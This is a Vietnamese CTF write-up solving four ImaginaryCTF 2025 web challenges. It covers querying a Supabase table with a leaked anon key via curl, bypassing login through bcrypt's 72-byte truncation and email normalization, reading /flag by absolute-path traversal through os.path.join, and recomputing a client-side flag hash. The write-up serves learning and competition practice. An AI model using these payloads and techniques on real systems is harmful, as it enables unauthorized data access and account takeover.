Writeup Giải IMAGINARYCTF2025
IMAGINARYCTF2025
I. Imaginary-notes
Mô tả: I made a new note taking app using Supabase! Its so secure, I put my flag as the password to the “admin” account. I even put my anonymous key somewhere in the site. The password database is called, “users”. http://imaginary-notes.chal.imaginaryctf.org
Từ phần mô tả ta có được một gợi ý quan trọng đó là có thể tìm được khoá ẩn danh ở trong phần nào đó của website. Search google về Key của Supabase ta có được một doc khá là hữu ích tại đường dẫn sau: https://supabase.com/docs/guides/api giúp chúng ta có thể giao tiếp trực tiếp vói cơ sở dữ liệu trực tiếp từ trình duyệt thông qua API và API đó nằm tại URL có dạng https://<project_ref>.supabase.co/rest/v1/
. Việc cần làm bây giờ làm tìm kiếm phần <project_ref>
và key
trong trang web của thử thách. Bật burpsuite bắt request và bắt đầu tìm kiếm. Khi tôi dùng chuỗi supabase.co
để tìm kiếm trong các chunk file được tạo ra bởi node JS thì quả thật là đã có key và url của API
bây giờ chỉ cần gửi requets chứa API key đến địa chỉ URL đã bị leak để truy vấn các phần từ bảng users
và tìm đến phần password của admin
thông qua truy vấn sau:
1
2
curl "https://dpyxnwiuwzahkxuxrojp.supabase.co/rest/v1/users?select=*" \
-H "apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI" | grep admin
Flag: ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}
II. Passwordless
Mô tả: Didn’t have time to implement the email sending feature but that’s ok, the site is 100% secure if nobody knows their password to sign in!
Xem xét qua mã nguồn thì ta thấy được website này có những chức năng chính như sau:
- Đăng ký (
POST /user
): Sau khi đăng kí hệ thống tự tạo một mật khẩu tạm thời và gửi cho người dùng… 1 đoạn thông báo'An email has been sent with a temporary password for you to log in'
:))) - Đăng nhập (
POST /session
): Yêu cầu người dùng nhập email và mật khẩu để đăng nhập và sau khi đăng nhập thì tạiviews/dashboard.ejs
chứa<%- process.env.FLAG %>
tức là flag được hiển thị trực tiếp trên trang dashboard sau khi đăng nhập.Nhưng ta không biết mật khẩu thì làm sau mà đăng nhập để lấy flag đây. Dựa vào logic trên thì ta sẽ tập trung khai thác vấn đề login để lấy được flag.
Đào sâu vào source code ta có thêm những phát hiện sau
Lỗ hổng xoay quanh module normalize
dưới đây
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
"use strict";
var PLUS_ONLY = /\+.*$/;
var PLUS_AND_DOT = /\.|\+.*$/g;
var normalizeableProviders = {
"gmail.com": {
cut: PLUS_AND_DOT,
},
"googlemail.com": {
cut: PLUS_AND_DOT,
aliasOf: "gmail.com",
},
"hotmail.com": {
cut: PLUS_ONLY,
},
"live.com": {
cut: PLUS_AND_DOT,
},
"outlook.com": {
cut: PLUS_ONLY,
},
};
module.exports = function normalizeEmail(eMail) {
if (typeof eMail != "string") {
throw new TypeError("normalize-email expects a string");
}
var email = eMail.toLowerCase();
var emailParts = email.split(/@/);
if (emailParts.length !== 2) {
return eMail;
}
var username = emailParts[0];
var domain = emailParts[1];
if (normalizeableProviders.hasOwnProperty(domain)) {
if (normalizeableProviders[domain].hasOwnProperty("cut")) {
username = username.replace(normalizeableProviders[domain].cut, "");
}
if (normalizeableProviders[domain].hasOwnProperty("aliasOf")) {
domain = normalizeableProviders[domain].aliasOf;
}
}
return username + "@" + domain;
};
Trong đó sâu hơn là các lỗi logic
1. Xử lý Email Không nhất quán
Đây là lỗ hổng cốt lõi. Khi một người dùng đăng ký tại endpoint /user
:
- Hệ thống sử dụng email gốc (
req.body.email
) để tạo mật khẩu ban đầu.1 2
const initialPassword = req.body.email + crypto.randomBytes(16).toString("hex");
- Tuy nhiên, hệ thống lại sử dụng email đã được chuẩn hóa (
normalizeEmail(req.body.email)
) để làm khóa chính (username) khi lưu vào cơ sở dữ liệu.1 2 3
const nEmail = normalizeEmail(req.body.email); // ... db.run(query, [nEmail, hash], (err) => { ... });
2. Giới hạn 72-Byte của bcrypt
Một đặc tính ít được biết đến (và nguy hiểm) của thư viện bcrypt
trong Node.js là nó sẽ âm thầm cắt bỏ mọi dữ liệu đầu vào vượt quá 72 byte trước khi thực hiện băm. Bất kỳ ký tự nào từ byte thứ 73 trở đi đều bị bỏ qua hoàn toàn.
Mật khẩu được tạo có dạng: [email gốc] + [chuỗi hex ngẫu nhiên 32 ký tự]
. Nếu chúng ta có thể làm cho [email gốc]
đủ dài, chúng ta có thể “đẩy” toàn bộ hoặc một phần của chuỗi ngẫu nhiên ra khỏi giới hạn 72 byte, khiến nó trở nên vô dụng, từ đó ta sẽ biết được chính xác password mà không cần bruteforce.
Quá trình khai thác
Chúng ta cần một email đáp ứng hai điều kiện:
- Khi qua hàm
normalizeEmail
, nó phải trở thànhusername@gmail.com
. Dựa trên mã nguồn củanormalize-email
, chúng ta biết nó sẽ xóa dấu.
và các chuỗi theo sau dấu+
đối với tên miềngmail.com
. - Email gốc phải có độ dài chính xác là 72 ký tự. Điều này sẽ khiến
bcrypt
chỉ băm email gốc và bỏ qua hoàn toàn chuỗi 32 ký tự hex ngẫu nhiên được nối vào sau.
Payloadmình sử dụng là: Dopa'Mean+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@gmail.com
- Theo lý thuyết
Dopa'Mean+...
sẽ được chuẩn hóa thànhdopa'mean
.- Phần tên người dùng có 62 ký tự (
Dopa'Mean
là 9,+
là 1, 52 ký tựA
). Cộng với@gmail.com
(10 ký tự), tổng độ dài là 72 ký tự. Sau khi normalize sẽ xoá bỏ phần alias sau dấu+
- Kết quả mong đợi :
dopa'mean@gmail.com
Mình đã dùng một script để test payload như sau:
1
2
3
4
5
6
7
8
"use strict";
const normalizeEmail = require("normalize-email");
const emailToTest = process.argv[2];
const normalizedEmail = normalizeEmail(emailToTest);
console.log(`Email gốc: ${emailToTest}`);
console.log(`Email đã chuẩn hóa: ${normalizedEmail}`);
Và đây là kết quả trả về - đúng như mong đợi:
Bây giờ chỉ cần gửi payload này đến trang Đăng kí và đăng nhập để lấy flag thôi.Ngoài ra trong mã code còn normalize trong cả quá trình đăng nhập nên ta dùng payload Dopa'Mean+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@gmail.com
hay dopa'mean@gmail.com
trong phần username đều có thể đăng nhập được.
1
2
3
4
5
6
7
app.post('/session', limiter, (req, res, next) => {
if (!req.body) return res.redirect('/login')
const email = normalizeEmail(req.body.email)
const password = req.body.password
...
})
Flag: ictf{8ee2ebc4085927c0dc85f07303354a05}
III. Codename_1
Mô tả: I hear that multilingual codenames is all the rage these days. Flag is in /flag.txt.
Nhìn tổng thể thì đây là một ứng dụng web game, nơi người chơi cố gắng đoán các từ dựa trên gợi ý - có nhiều ngôn ngữ để phục vụ người chơi. Ứng dụng được xây dựng bằng Flask và Socket.IO. Phân tích mã nguồn cho thấy có hai flag riêng biệt có thể được lấy thông qua hai lỗ hổng khác nhau.
- FLAG_1: Lấy được qua lỗ hổng Path Traversal.
- FLAG_2: Lấy được qua một lỗi logic trong cơ chế game có thể là dành cho bài khó hơn đằng sau :v Ta chỉ tập trung để lấy
FLAG_1
thông qua gợi ý của thử thách
Phân tích
Lỗ hổng nằm trong endpoint /create_game
trong tệp app.py
. Khi tạo một game mới, người dùng có thể chọn một ngôn ngữ cho danh sách từ. Mã nguồn xử lý việc này như sau:
1
2
3
4
5
6
7
8
9
language = request.form.get('language', None)
if not language or '.' in language:
language = LANGUAGES[0] if LANGUAGES else None
# ...
if language:
wl_path = os.path.join(WORDS_DIR, f"{language}.txt")
try:
with open(wl_path) as wf:
word_list = [line.strip() for line in wf if line.strip()]
- Ứng dụng cố gắng ngăn chặn Path Traversal bằng cách kiểm tra xem tham số
language
có chứa dấu chấm (.
) hay không. Đây là một biện pháp bảo vệ không đầy đủ, nó chỉ ngăn người dùng ngược từ thư mục con đến thư mục cha thông qua đường dẫntương đối
. Tuy nhiên nó đã quên mất 1 điều rằng ta có thể try cậpflag
thông qua đường dẫntuyệt đối
. Dù dòngwl_path = os.path.join(WORDS_DIR, f"{language}.txt")
nó sẽ nối đuôi.txt
vào tên file truyền vào và sau đó nối thêm đường dẫn. Tuy nhiên đoạn mã này lại không hoạt động nếu đầu vào là một đường dẫntuyệt đối
đến một file. Kiểm chứng thông qua đoạn code như sau:
1
2
3
4
5
6
import os
WORDS_DIR = "/app/words"
print(os.path.join(WORDS_DIR, "english.txt"))
language = "/flag"
wl_path = os.path.join(WORDS_DIR, f"{language}.txt")
print(wl_path)
Khai thác
- Đăng kí
- Truy cập vào code game được trả về ở đây là:
http://codenames-1.chal.imaginaryctf.org/game/LMDP44
- Nhấn addbot để bắt đầu trò chơi và flag sẽ được gửi đến thông qua socket.
hoặc
Flag: ictf{common_os_path_join_L_b19d35ca}
IV. Certificate
Mô tả: As a thank you for playing our CTF, we’re giving out participation certificates! Each one comes with a custom flag, but I bet you can’t get the flag belonging to Eth007!
Trang web thử thách có một giao diện đơn giản như dưới đây:
Ctrl + U
để đọc source code của trang web ta thấy một số đoạn code đặc biệt như sau:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function escapeXml(s) {
return String(s || "").replace(
/[&<>'"]/g,
(c) =>
({ "&": "&", "<": "<", ">": ">", "'": "'", '"': """ }[
c
])
);
}
function customHash(str) {
let h = 1337;
for (let i = 0; i < str.length; i++) {
h = (h * 31 + str.charCodeAt(i)) ^ (h >>> 7);
h = h >>> 0; // force unsigned
}
return h.toString(16);
}
function makeFlag(name) {
const clean = name.trim() || "anon";
const h = customHash(clean);
return `ictf{${h}}`;
}
và
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function renderPreview() {
var name = nameInput.value.trim();
if (name == "Eth007") {
name = "REDACTED";
}
const svg = buildCertificateSVG({
participant: name || "Participant Name",
affiliation: affInput.value.trim() || "Participant",
date: dateInput.value,
styleKey: styleSelect.value,
});
svgHolder.innerHTML = svg;
svgHolder.dataset.currentSvg = svg;
}
Ở đoạn code if (name == "Eth007") {name = "REDACTED"}
chính là điểm mấu chốt khiến chúng ta không đọc được flag và trả ra chuỗi flag sai. Từ logic trên thì cách để giải bài này chỉ là chạy trực tiếp hàm makeFlag
với đầu vào là Eth007
thông qua console của devtool và nhận flag.
Flag: ictf{7b4b3965}